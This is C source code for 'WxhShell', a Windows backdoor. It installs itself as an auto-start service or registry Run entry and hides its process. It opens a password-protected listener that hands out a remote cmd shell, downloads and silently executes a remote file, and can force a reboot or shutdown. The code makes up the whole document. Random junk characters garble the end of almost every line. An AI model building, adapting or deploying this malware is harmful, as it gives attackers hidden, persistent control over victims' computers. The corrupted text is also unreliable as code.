    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~|N,{GaL  
    if(Boot(SHUTDOWN)) `U|zNizO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0cVxP)J+  
    else { mIPDF1= )  
    closesocket(wsh); {+[ Ex2b$  
    ExitThread(0); j(}pUV B  
    } WF_QhKW|k  
    break; IYHNN  
    } 2+b}FVOe\  
  // 获取shell >>"@ 0tO  
  case 's': { L"NfOST3'R  
    CmdShell(wsh); >yVp1Se  
    closesocket(wsh); lR9uD9Dr  
    ExitThread(0); n,LM"N:   
    break; e Qk5:{[  
  } ?RW1%+[  
  // 退出 DrbjklcUU  
  case 'x': { $o9@ ?2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g \ou+M#  
    CloseIt(wsh); kbJ4CF}H  
    break; B6KG\,'|  
    } YW&`PJ9o  
  // 离开 }Z t#OA $  
  case 'q': { z-:>[Sn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hs_7oy|P  
    closesocket(wsh); uBn35%  
    WSACleanup(); Rha|Rk~  
    exit(1); -yTIv* y  
    break; |sl^4'Ghc  
        } |`s:&<W+kp  
  } N R 4\TU  
  }  K V  
v(=0hY9 O  
  // 提示信息 g!o2vTt5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,V^$Meh  
} ^".6~{  
  } Azp!;+  
O: #Sj jK  
  return; r* l c#  
} lV$#>2Hh5  
4S[)5su  
// shell模块句柄 ^ 4Ff8Y  
int CmdShell(SOCKET sock) x8~*+ j  
{ k g Rys  
STARTUPINFO si; 3-)}.8F  
ZeroMemory(&si,sizeof(si)); 8OO[Le]1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g5u4|+70  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LafBf6wds  
PROCESS_INFORMATION ProcessInfo; 12_ 7UWZ"  
char cmdline[]="cmd"; 8G9( )UF.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %+<1X?;,Fq  
  return 0; #};Zgixo$  
} };EB  
jW-;Y/S  
// 自身启动模式 0PsQ 1[1  
int StartFromService(void) DyA /!%g  
{ ]mUt[Yy:z  
typedef struct fny6`_O  
{ M)AvcZNs  
  DWORD ExitStatus; zK{}   
  DWORD PebBaseAddress; ?r5a*  
  DWORD AffinityMask; r .6?|  
  DWORD BasePriority; ,?Zy4-  
  ULONG UniqueProcessId; 53pT{2]zAi  
  ULONG InheritedFromUniqueProcessId; s.n:;8RibP  
}   PROCESS_BASIC_INFORMATION; qDz[=6BF  
ir>+p>s.  
PROCNTQSIP NtQueryInformationProcess; |F<%gJ  
vts"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c': 4e)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1<MJ3"60  
}gB^C3b6  
  HANDLE             hProcess; ;ceg:-Zqo  
  PROCESS_BASIC_INFORMATION pbi; l~Ka(*[!U  
O=lRI)6w@e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u47`&\  
  if(NULL == hInst ) return 0; V@TA~'$|  
dK,=9DQy5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C>mFylN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E AKW^'D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C3~~h|:  
"a33m:]J  
  if (!NtQueryInformationProcess) return 0; YI> xxWA  
VB T 66kV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]gm3|-EiY  
  if(!hProcess) return 0; G"kX#k0S  
Q~k|lTf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aNQ(xiskb  
r KdsVW  
  CloseHandle(hProcess); /C5py&#-I  
bn5O2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qt/6o|V  
if(hProcess==NULL) return 0; PMW@xk^<Y  
>K1e=SY  
HMODULE hMod; VGu(HB8n#  
char procName[255]; .;.Zbhm  
unsigned long cbNeeded; P4c3kO0  
8>D*U0sNl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B,%KvL&xMX  
OL:hNbw'~T  
  CloseHandle(hProcess); !?Y71:_!  
{4f%UnSz(  
if(strstr(procName,"services")) return 1; // 以服务启动 TBba3%  
a2i:fz=[  
  return 0; // 注册表启动 jsr)  
} :`"- Jf  
R!WDQGR(2  
// 主模块 NLYf   
int StartWxhshell(LPSTR lpCmdLine) x2aG5@<3  
{ -f1}N|hy  
  SOCKET wsl; ;X0uA?  
BOOL val=TRUE; ;:ZD<'+N  
  int port=0; qQO*:_ezzk  
  struct sockaddr_in door; \F\7*=xk  
(nuTfmt>  
  if(wscfg.ws_autoins) Install(); SMRCG"3qwA  
="%887e  
port=atoi(lpCmdLine); U2vb&Qu/  
fb^R3wd$ff  
if(port<=0) port=wscfg.ws_port; ;E5XH"L\  
)FIFf;r  
  WSADATA data; >r,z^]-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r<LWiM l?  
:eB+t`M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^T1caVb|>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Us2> 5 :\  
  door.sin_family = AF_INET; ,1JQjsR   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hb/Z{T'   
  door.sin_port = htons(port); XpK  Y#  
es.Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ) .' + {  
closesocket(wsl); *8yC6|wL?  
return 1; q D=b+\F  
}  CWYOzqf  
B,Tv9(sv  
  if(listen(wsl,2) == INVALID_SOCKET) { *-q &~  
closesocket(wsl); ]W~M?1 }  
return 1; !bnnUCTb\  
} H!6&'=c{k  
  Wxhshell(wsl); Sz')1<  
  WSACleanup(); p:{L fQ  
o54=^@>O<j  
return 0; xcQ^y}JN  
D(dV{^} 9  
} `_ZbA#R,  
f><V;D#  
// 以NT服务方式启动 v@s"*E/PF7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;4/ n~  
{ k+je-%hPj  
DWORD   status = 0; .Zs.O/  
  DWORD   specificError = 0xfffffff; erTly2-SJ  
5xNOIOpDB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a[sdYZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S==0/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dXsL0r*c  
  serviceStatus.dwWin32ExitCode     = 0; $-!7<a-  
  serviceStatus.dwServiceSpecificExitCode = 0; +2Aggv>*  
  serviceStatus.dwCheckPoint       = 0; ;G"!y<F  
  serviceStatus.dwWaitHint       = 0; *UN*&DmF  
^"vmIC.h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -qpM 6t  
  if (hServiceStatusHandle==0) return; FJ?]|S.?,  
<veypLi"R  
status = GetLastError(); HTMo.hr  
  if (status!=NO_ERROR) \Ov~ t  
{ c5O8,sT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7X> @r"9<  
    serviceStatus.dwCheckPoint       = 0; X`eX+9  
    serviceStatus.dwWaitHint       = 0;  dBN:  
    serviceStatus.dwWin32ExitCode     = status; {`J!DFfur  
    serviceStatus.dwServiceSpecificExitCode = specificError; (r}StR+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $`t2SD  
    return; +#(GU9_i+M  
  } )fS6H<*  
EKsOj&ZiJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HAs/f#zAk6  
  serviceStatus.dwCheckPoint       = 0; 1L\r:mx3  
  serviceStatus.dwWaitHint       = 0; |N 2r?b/g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q$}J/w(,  
} ~=oCou`XF  
Ip8:~Fl]  
// 处理NT服务事件,比如:启动、停止 @j%@Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;>X;cZMd  
{ _)3C_G1!  
switch(fdwControl) fJ\ u8  
{ q%/.+g2-\  
case SERVICE_CONTROL_STOP: JPgFTr  
  serviceStatus.dwWin32ExitCode = 0; #E<~WpP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Cgf4E{\U!  
  serviceStatus.dwCheckPoint   = 0; R /_vJHI  
  serviceStatus.dwWaitHint     = 0; B/hQvA;(  
  { ?A*<Z%}1?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5C*- v,hF  
  } A L |,\s  
  return; w^3S6lK  
case SERVICE_CONTROL_PAUSE: < mFU T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7nW <kA  
  break; n}4q2x"  
case SERVICE_CONTROL_CONTINUE: 9~K+h/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6vJ S"+ <  
  break; [+}0K{(O=  
case SERVICE_CONTROL_INTERROGATE: XJq]l6a:  
  break; e-lc2$o7{  
}; !I91kJt7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7FI{ A  
} } z7yS.{  
_l,-S Qgj  
// 标准应用程序主函数 g^i\7'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M$6; &T  
{ B LZ<"npn  
 _Vc4F_  
// 获取操作系统版本 g(Oor6Pp  
OsIsNt=GetOsVer(); ;MlPP)*k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ; =*=P8&5  
Uhyf  
  // 从命令行安装 X]GodqL\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6W;`}'ap  
X2Q35.AB  
  // 下载执行文件 qpa}6JVQ+j  
if(wscfg.ws_downexe) { ;~`/rh V\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aouYPxA`  
  WinExec(wscfg.ws_filenam,SW_HIDE); <fMQ#No  
} zP c54 >f  
PVmePgF   
if(!OsIsNt) { "`Xbi/i  
// 如果时win9x,隐藏进程并且设置为注册表启动 YNp-A.o W@  
HideProc(); Ou f\%E<  
StartWxhshell(lpCmdLine); eOZ~p  
} C}9|e?R[Rz  
else {q;_Dd  
  if(StartFromService()) .I^Y[_.G  
  // 以服务方式启动 -Wre4 ^,v  
  StartServiceCtrlDispatcher(DispatchTable); 7.kH="@  
else $8[JL \  
  // 普通方式启动 C 8d9 (u  
  StartWxhshell(lpCmdLine); PdRDUG{Jy  
L,,*8  
return 0; rQpQ qBu  
} f&$$*a  
jD6T2K7i  
+p]@b  
'S=eW_ 0/  
=========================================== 6&2{V? W3  
,1v FX$  
v Et+^3=  
r& :v(  
OO,%zwgt  
#N y+6XM  
" 2mO9  
'3E25BsL  
#include <stdio.h> 'P%&*%  
#include <string.h> wx2 z9Q  
#include <windows.h> QG@Z%P~,E  
#include <winsock2.h> lJS3*x#H  
#include <winsvc.h> m YhDi  
#include <urlmon.h> %UV"@I+  
FEV Ya#S  
#pragma comment (lib, "Ws2_32.lib") G('UF1F  
#pragma comment (lib, "urlmon.lib") c/(Dg$DbX  
 (8 /&  
#define MAX_USER   100 // 最大客户端连接数 !!~r1)zN  
#define BUF_SOCK   200 // sock buffer G=kW4rAk  
#define KEY_BUFF   255 // 输入 buffer N Zwi3  
O8LIKD_I[  
#define REBOOT     0   // 重启 D8$4PT0u  
#define SHUTDOWN   1   // 关机 $?pfst~;O  
ykGA.wo7/P  
#define DEF_PORT   5000 // 监听端口 Ffd;aZ4n  
]XYD2fR2qA  
#define REG_LEN     16   // 注册表键长度 Emk:@$3{r  
#define SVC_LEN     80   // NT服务名长度 w`zS`+4  
UyDq`@h  
// 从dll定义API }5B\:*yW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %F:; A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g12.4+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /\E3p6\*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bGlr>@;-r  
U1|{7.R  
// wxhshell配置信息 ~cfvL*~5  
struct WSCFG {  SxX  
  int ws_port;         // 监听端口 @ xTVX'$  
  char ws_passstr[REG_LEN]; // 口令 wV4MP1c$  
  int ws_autoins;       // 安装标记, 1=yes 0=no > V >GiSni  
  char ws_regname[REG_LEN]; // 注册表键名 %V#? 1{  
  char ws_svcname[REG_LEN]; // 服务名 0P;LH3sx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nlu]f-i':  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t^~itlE{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P|;f>*^Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J d,9<m $  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 58o&Dv6?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &NI\<C7_Gw  
}CrWmJu0  
}; i=V2 /W}  
jk%H+<FU`  
// default Wxhshell configuration =n8M'  
struct WSCFG wscfg={DEF_PORT, 6ywO L'OBM  
    "xuhuanlingzhe", mdcsL~R  
    1, J{n A ?[  
    "Wxhshell", )6px5Vwz  
    "Wxhshell", !H6X%hlk  
            "WxhShell Service", bj?=\u  
    "Wrsky Windows CmdShell Service", <J.q[fd1*  
    "Please Input Your Password: ", (Hs,Tj  
  1, 'GLpSWL+*  
  "http://www.wrsky.com/wxhshell.exe", U8<C4  
  "Wxhshell.exe" s/P+?8'9  
    }; cSmy M~[  
iaRCV 6cl  
// 消息定义模块 "Sw raq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p>W@h*[6w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pLMaXX~4_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LQ||7>{eX  
char *msg_ws_ext="\n\rExit."; gYmO4/c,  
char *msg_ws_end="\n\rQuit."; -Q%Pg<Q-#  
char *msg_ws_boot="\n\rReboot..."; ZCNO_g  
char *msg_ws_poff="\n\rShutdown..."; *\`<=,H6<  
char *msg_ws_down="\n\rSave to "; [|(=15;  
C)%qs]  
char *msg_ws_err="\n\rErr!"; s&\krW &  
char *msg_ws_ok="\n\rOK!"; Qm*XWo  
\\`(x:\  
char ExeFile[MAX_PATH]; D|'[[=  
int nUser = 0; ,z> w^_  
HANDLE handles[MAX_USER]; 1L=)93,M  
int OsIsNt; hOuHTo^  
gE8>o:6)6:  
SERVICE_STATUS       serviceStatus; Qr?1\H:Lq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8cuI-Swz  
F|8;Swb5  
// 函数声明 4"\%/kG  
int Install(void); WzBr1 ea{I  
int Uninstall(void); D4~]:@v~n  
int DownloadFile(char *sURL, SOCKET wsh);  nL[G@1nR  
int Boot(int flag); S[N9/2  
void HideProc(void); ff00s+  
int GetOsVer(void); x1}Ono3"T  
int Wxhshell(SOCKET wsl); Uyd'uC  
void TalkWithClient(void *cs); pB7^l|\]  
int CmdShell(SOCKET sock); 4Ofkagg  
int StartFromService(void); A-YW!BT4  
int StartWxhshell(LPSTR lpCmdLine); QI78/gT,d  
]3 QW\k~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q2* ~9QkU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S7~HBgS<  
bo@, B  
// 数据结构和表定义 gq="&  
SERVICE_TABLE_ENTRY DispatchTable[] = o1uM(  
{ 6.6?Rp".  
{wscfg.ws_svcname, NTServiceMain}, eK}GBBdO  
{NULL, NULL} "w__AYHV  
}; K'f2 S  
`Io#440;  
// 自我安装 h,,B"vPS  
int Install(void) 4b6)+*[O  
{  , YlS  
  char svExeFile[MAX_PATH]; aDu[iaZ  
  HKEY key; n98sY+$-z  
  strcpy(svExeFile,ExeFile); ~Bi%8G  
2HF`}H)H  
// 如果是win9x系统,修改注册表设为自启动 Z_[L5B]Gwd  
if(!OsIsNt) { !-ZY_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1X9J[5|ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XC O8A\  
  RegCloseKey(key); vb}c)w dp?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dEW= V"W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mmy/YP)  
  RegCloseKey(key); v7%}ey[  
  return 0; J|<C;[du>  
    } Np/vPaAk  
  } U=5~]0g  
} M4% 3a j  
else { (^E5y,H<g  
G#A6<e/  
// 如果是NT以上系统,安装为系统服务 d ,.=9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DhD##5a  
if (schSCManager!=0) d]N_<@tx9  
{ 4&v&XLkb  
  SC_HANDLE schService = CreateService f>3)}9?xc}  
  ( n^*,JL 9@  
  schSCManager, N7YCg  
  wscfg.ws_svcname, B![:fiR`  
  wscfg.ws_svcdisp, {SD%{  
  SERVICE_ALL_ACCESS, ekqS=KfWl;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A;o({9VH`Z  
  SERVICE_AUTO_START, Ge^,hAM'  
  SERVICE_ERROR_NORMAL, ^66OzT8A  
  svExeFile, =YD<q:n4  
  NULL, ukRmjHbLf  
  NULL, Mc$rsqDz  
  NULL, E[4 vUnm-  
  NULL, *B9xL[}  
  NULL GK[9IF#_>  
  ); nq~fH(QY  
  if (schService!=0) w\{#nrhYU  
  { hTmJ ~m'J  
  CloseServiceHandle(schService); 6\`8b&'n  
  CloseServiceHandle(schSCManager); 15yiDI o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f.uy;v  
  strcat(svExeFile,wscfg.ws_svcname); !!w(`kmn1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9vSKIq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /XU=l0u  
  RegCloseKey(key); bW=3X-)  
  return 0; q- 0q:  
    } LXPO@2QF  
  } 2A9crL $  
  CloseServiceHandle(schSCManager); C%CgWO`Xj  
} q?@*  
} GSd:Plc%  
\&ki79Ly-  
return 1; AWssDbh/[  
} M9m~ck  
oXN(S:ZF  
// 自我卸载 CF@*ki3X  
int Uninstall(void) VL'wrgk  
{ {3kz\FS  
  HKEY key; kk4+>mk  
zQ<;3+*  
if(!OsIsNt) { nHRk2l|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4:pgZz!  
  RegDeleteValue(key,wscfg.ws_regname); Dsb Tx.vA  
  RegCloseKey(key); #;?/fZjY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ck3+A/ !z  
  RegDeleteValue(key,wscfg.ws_regname); 'GiN^Y9dcc  
  RegCloseKey(key); .w'b%M  
  return 0; -=5~-72~  
  } 6NHP/bj<1V  
} ]cVDXLj$  
} \u))1zRd  
else { &\b(  
g1.u1}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }^j8<  
if (schSCManager!=0)  |=![J?  
{ A|YgA66M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (: ?bQA'Td  
  if (schService!=0) )=MK&72r  
  { ?~E"!  
  if(DeleteService(schService)!=0) { v~jm<{={g  
  CloseServiceHandle(schService); dQ9W40g1  
  CloseServiceHandle(schSCManager); 1eEML"  
  return 0; }pnp._j  
  } z( }w|  
  CloseServiceHandle(schService); u3E =r  
  } <5P*uZ  
  CloseServiceHandle(schSCManager); 5h0Hk<N  
} 5X>~39(r  
} \NEk B&^n  
)+=Kh$VbS  
return 1; c_?^:xs:d  
} ,2+d+Zuh  
-Fu,oEj{*  
// 从指定url下载文件 |5X59! JL  
int DownloadFile(char *sURL, SOCKET wsh) xXa4t4gR  
{ T?6<1nU)  
  HRESULT hr; $#2<f 6  
char seps[]= "/"; FQ`1c[M@  
char *token; !H{>c@i  
char *file; mH4u@aQ}  
char myURL[MAX_PATH]; HavlN}h  
char myFILE[MAX_PATH]; q-uzu!  
PAtv#)h  
strcpy(myURL,sURL); 9F?-zn;2s  
  token=strtok(myURL,seps); :@ VCKq!  
  while(token!=NULL) >goHQ30:  
  { kE8s])Z,+  
    file=token; UK1)U)*+  
  token=strtok(NULL,seps); -3azA7tzz  
  } WVK AA.  
MI^$df  
GetCurrentDirectory(MAX_PATH,myFILE); "PO8Q  
strcat(myFILE, "\\"); AI#.+PrC{/  
strcat(myFILE, file); H$ g*  
  send(wsh,myFILE,strlen(myFILE),0); w/rJj*  
send(wsh,"...",3,0); Y4swMN8Bq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Nwp{["}]L  
  if(hr==S_OK) vyB{35p$  
return 0; (v|<" tv  
else \_6  
return 1; 75R#gQ]EV  
-)3+/4Q(  
} bZ OCj1  
-1d*zySL  
// 系统电源模块 o?t H[  
int Boot(int flag) N:k>V4oE  
{ tcsb]/my  
  HANDLE hToken; gsM^Pu09ud  
  TOKEN_PRIVILEGES tkp; |G$-5 7fk  
Ip=QtNW3\  
  if(OsIsNt) { ",Vx.LV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EG$-D@o\I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /j4G}  
    tkp.PrivilegeCount = 1; Mx`';z8~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aX6}:"R2C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;' vkF  
if(flag==REBOOT) { GEh(pJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VKX|0~  
  return 0; x=Oy 6"  
} D1v0`od'  
else { -PGxG 8S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S-Vj$asv!  
  return 0; /F~/&p1<\k  
} GiEt;8  
  } As,e.V5!  
  else { Ut;4`>T  
if(flag==REBOOT) { 2;s[m3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JoiGuZd>  
  return 0; ]&q<O0^'  
} \4G9YK-N>  
else { -WF((s;<#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /V/NL#(R  
  return 0; $qdynKK  
} *?HoN;^  
} Ddg!1SF  
Q~svtN  
return 1; 1E&S{.  
} I^![)# FC  
GN! R<9  
// win9x进程隐藏模块 ;DYS1vGo  
void HideProc(void) y_Urzgm(  
{ F`x_W;\  
g)r{LxT#+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =RRv& "2r  
  if ( hKernel != NULL ) t[>UAr1Vt  
  { U.P1KRY|=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g0U?`;n$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #G F.M,O/h  
    FreeLibrary(hKernel); 0 D '^:  
  } _8 0L/92  
bEQ-? X%7  
return; c!7WRHJE_a  
} oe 6-F)+  
QkD ~  
// 获取操作系统版本 0!0e$!8l  
int GetOsVer(void) /(hTk&  
{ ,f:K)^yD  
  OSVERSIONINFO winfo; !3k-' ),z&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {4Kvr4)4  
  GetVersionEx(&winfo); )lS04|s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Ng Q>KV!  
  return 1; _LC*_LT_  
  else v G\J8s  
  return 0; 5=|h~/.k  
} 7I"~a<f0X`  
`pZX!6Wn  
// 客户端句柄模块 Z.Z;p/4F  
int Wxhshell(SOCKET wsl) 6LGl]jHf  
{ !ae?EJm"  
  SOCKET wsh; J@_^]  
  struct sockaddr_in client; vn$=be8l4  
  DWORD myID; W$NFk(  
Aixe?A_x  
  while(nUser<MAX_USER) Q. O4R_H  
{ (Q% @]  
  int nSize=sizeof(client); *P`wuXn}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s_fe4K  
  if(wsh==INVALID_SOCKET) return 1; @!! u>1  
2672oFD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,iP YsW]5  
if(handles[nUser]==0) ~B"HI+:\L  
  closesocket(wsh); ;NdH]a {  
else }k%6X@  
  nUser++; .-tR <{ g  
  } g1[BrT,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^`";GnH0  
_!DH/?aU  
  return 0; r/ g{j  
} jF}kV%E  
g%S/)R,,ct  
// 关闭 socket 7:uz{xPK6  
void CloseIt(SOCKET wsh) a4~B  
{ 1Xm>nF~  
closesocket(wsh); 0'pB7^y  
nUser--; ]7W!f 2@  
ExitThread(0); DAWF =p]  
} q 9xA.*  
^#Q-?O  
// 客户端请求句柄 V^[&4  
void TalkWithClient(void *cs) J.4U;A5  
{ ]9/A=p?J@  
8YlZ({f  
  SOCKET wsh=(SOCKET)cs; H OWpTu(  
  char pwd[SVC_LEN]; Fovah4q%V  
  char cmd[KEY_BUFF]; bs)wxU`Q*  
char chr[1]; \l /}` w  
int i,j; *|\bS "  
bs ~P  
  while (nUser < MAX_USER) { ZJ)Z  
zqNzWX  
if(wscfg.ws_passstr) { rY^uOrR>j*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w$f_z*/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HSG Ln906  
  //ZeroMemory(pwd,KEY_BUFF); H6 x  
      i=0; T&pCLvkz  
  while(i<SVC_LEN) { oydP}X  
=&UE67eK,  
  // 设置超时 JnK<:]LcK  
  fd_set FdRead; ^"?a)KC  
  struct timeval TimeOut; {q8|/{;  
  FD_ZERO(&FdRead); :+jg311}  
  FD_SET(wsh,&FdRead); `&q+ f+z  
  TimeOut.tv_sec=8; N^[ F+y  
  TimeOut.tv_usec=0; Lr*PbjQDIY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :K2 X~Ty  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $#D#ezvxe  
~"`e9Im  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hjg1By(  
  pwd=chr[0]; .p e3L7g  
  if(chr[0]==0xd || chr[0]==0xa) { Q34u>VkdQI  
  pwd=0; jH<Sf: Y(  
  break; SEzjc ~@3  
  } ,ESli/6  
  i++; f]%S FQ+  
    } h?n?3x!(  
_%2ukuJ `  
  // 如果是非法用户,关闭 socket &57~i=A 3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uVU)LOx  
} 7MrHu2rZ=  
ma*#*4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A ~vx,|I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @PNgqjd  
t`Z3*?UqI  
while(1) { xJ/)*?@+  
TM#L.xPMf  
  ZeroMemory(cmd,KEY_BUFF); 2H9hN4N  
d<j`=QH  
      // 自动支持客户端 telnet标准    ]aF;  
  j=0; >@ 8'C"F  
  while(j<KEY_BUFF) { _4Eq_w`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d9TTAaf  
  cmd[j]=chr[0]; Y3[KS;_fr9  
  if(chr[0]==0xa || chr[0]==0xd) { i3|xdYe$  
  cmd[j]=0; -d4 v:Jab  
  break; 7 SJ=2  
  } 6?M/7 1  
  j++; '62_q8:  
    } =L#&`s@)_  
tb~E.Lm\  
  // 下载文件 KM[0aXOtv  
  if(strstr(cmd,"http://")) { ZXb{-b?[`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M 1 m]1<  
  if(DownloadFile(cmd,wsh)) Xv!Gg6v6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &K'*67h  
  else lJFy(^KQG,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?C fQwY#N  
  } *Xk5H,:  
